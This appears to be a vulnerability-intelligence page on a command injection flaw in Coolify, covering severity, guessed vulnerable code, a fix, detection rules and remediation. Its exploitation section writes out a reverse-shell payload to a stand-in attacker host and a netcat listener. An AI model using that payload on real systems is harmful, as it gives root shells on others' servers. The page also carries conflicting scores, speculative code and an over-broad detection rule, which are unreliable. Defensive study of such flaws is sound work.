☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-66213

CVE-2025-66213 Remote Code Execution in Coolify
📅 PUBLISHED: 2025-12-23 22:06 UTC 🔄 UPDATED: 2026-10-09 05:41 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 3.15%
👁️
3.15% probability
78.7× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-66213 is a critical command injection vulnerability in Coolify, an open-source and self-hostable tool for managing servers, applications, and databases. The flaw resides in the File Storage Directory Mount Path functionality, where the file_storage_directory_source parameter is passed directly to shell commands without proper sanitization. An authenticated attacker with application/service management permissions can exploit this to execute arbitrary commands as root on managed servers, leading to full remote code execution (RCE) on the host system. The vulnerability affects all versions prior to 4.0.0-beta.451. No public proof-of-concept (PoC) or exploit code is currently available, but the risk is high due to the potential for complete host compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Coolify is distributed as a Docker image and via GitHub releases. The vulnerability is in the core application code, not in a package manager (NPM, PyPI, Go, Ruby). However, users should verify the integrity of their Coolify installation and ensure they are using the official source. The patch is available in version 4.0.0-beta.451, which should be applied immediately.

CVSS Breakdown & Threat Level

CVSS Score: 9.9 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

  • Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low – No special conditions are required; the attack is straightforward.
  • Privileges Required (PR): Low – An attacker needs only application/service management permissions, not root.
  • User Interaction (UI): None – No user action is required for exploitation.
  • Scope (S): Changed – The vulnerable component impacts resources beyond its security scope (host system).
  • Confidentiality (C): High – Full read access to all data on the host.
  • Integrity (I): High – Full write access to the host system.
  • Availability (A): High – Full control over host system availability.

Threat Level: Critical. The combination of low privileges required, network exploitability, and high impact makes this a severe threat. An attacker can pivot from managing applications to owning the entire server.

Deep Dive & Mechanics

The vulnerability is in the file storage mount path functionality. When a user configures a file storage directory mount, the application constructs a shell command to mount the directory. The file_storage_directory_source parameter is concatenated into this command without sanitization. For example, the vulnerable code might look like:

mount -t nfs $file_storage_directory_source /mnt/storage

An attacker can inject shell metacharacters (e.g., ;, |, $(...)) into the file_storage_directory_source parameter. For instance, setting it to:

192.168.1.1:/share; id > /tmp/pwned

Would result in the command:

mount -t nfs 192.168.1.1:/share; id > /tmp/pwned /mnt/storage

The id command executes as root, writing output to /tmp/pwned. This demonstrates arbitrary command execution.

The root cause is the lack of input validation and the use of shell execution functions (e.g., exec(), system(), or shell_exec() in PHP) without proper escaping. The fix in version 4.0.0-beta.451 likely involves using parameterized commands or proper escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (PHP-like pseudocode):

$source = $_POST['file_storage_directory_source'];
$command = "mount -t nfs $source /mnt/storage";
shell_exec($command);

Patched Code (PHP-like pseudocode):

$source = $_POST['file_storage_directory_source'];
// Validate and sanitize input
if (!preg_match('/^[a-zA-Z0-9:\/.-]+$/', $source)) {
    die("Invalid source");
}
// Use escapeshellarg to prevent injection
$command = "mount -t nfs " . escapeshellarg($source) . " /mnt/storage";
shell_exec($command);

The patched version uses escapeshellarg() to properly escape the input, preventing shell injection. Additionally, input validation ensures only safe characters are allowed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to a Coolify instance (version < 4.0.0-beta.451)
  • Valid credentials with application/service management permissions
  • Network access to the Coolify web interface

Exploitation Steps:

  1. Authenticate to the Coolify web interface.
  2. Navigate to the File Storage Directory Mount configuration page.
  3. Inject a malicious payload into the file_storage_directory_source parameter. Example payload:
    192.168.1.1:/share; bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'
    
  4. Submit the form. The command executes as root, establishing a reverse shell to the attacker's machine.

Proof-of-Concept (No public exploit available, but conceptual):

# Attacker listens for reverse shell
nc -lvnp 4444

# Victim submits payload via web form
# file_storage_directory_source = 192.168.1.1:/share; bash -c 'exec bash -i &>/dev/tcp/10.0.0.1/4444 <&1'

Blue Team (Detection & Response)

Detection:

  • Monitor web application logs for unusual characters in the file_storage_directory_source parameter (e.g., ;, |, $).
  • Monitor system logs for unexpected mount commands or shell executions.
  • Use endpoint detection and response (EDR) tools to detect child processes of the web server spawning shells.

Response:

  1. Isolate the affected server from the network.
  2. Kill any suspicious processes (e.g., reverse shells).
  3. Review logs to identify the scope of compromise.
  4. Patch Coolify to version 4.0.0-beta.451 or later.
  5. Rotate all credentials on the compromised host.

Indicators of Compromise (IOCs)

Network IOCs:

  • Outbound connections to unknown IPs on common reverse shell ports (4444, 1337, 31337).
  • Unusual DNS queries for command-and-control (C2) domains.

Host IOCs:

  • Unexpected processes running as root (e.g., /bin/bash, /bin/sh).
  • Files in /tmp/ with suspicious names (e.g., pwned, exploit).
  • Modified system binaries or configuration files.
  • Unusual entries in /etc/cron* or systemd services.

Application IOCs:

  • Web server logs containing shell metacharacters in the file_storage_directory_source parameter.
  • Error logs showing failed mount attempts with injected commands.

Detection Engineering

YARA Rule

rule CVE_2025_66213_Coolify_RCE {
    meta:
        description = "Detects Coolify command injection in file_storage_directory_source"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66213"
    strings:
        $injection = /file_storage_directory_source[^&]*[;&|`$]/
    condition:
        $injection
}

Sigma Rule

title: Coolify Command Injection in File Storage Mount
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-66213 via shell metacharacters in file_storage_directory_source
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'file_storage_directory_source='
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in directory paths (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66213 Coolify Command Injection Attempt"; flow:to_server,established; content:"file_storage_directory_source"; http_uri; pcre:"/file_storage_directory_source=[^&]*[;&|`$]/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Coolify to version 4.0.0-beta.451 or later immediately.
  2. Restrict network access to the Coolify web interface to trusted IPs only.
  3. Review user permissions and ensure only necessary users have application/service management roles.

Long-term Mitigations:

  • Implement a Web Application Firewall (WAF) to block malicious input patterns.
  • Conduct regular security audits and penetration testing.
  • Enable detailed logging and monitoring for all administrative actions.
  • Follow the principle of least privilege for all users.

Workaround (if patching is not immediately possible):

  • Disable the File Storage Directory Mount functionality if not in use.
  • Manually validate and sanitize the file_storage_directory_source parameter in the application code.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-66213/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.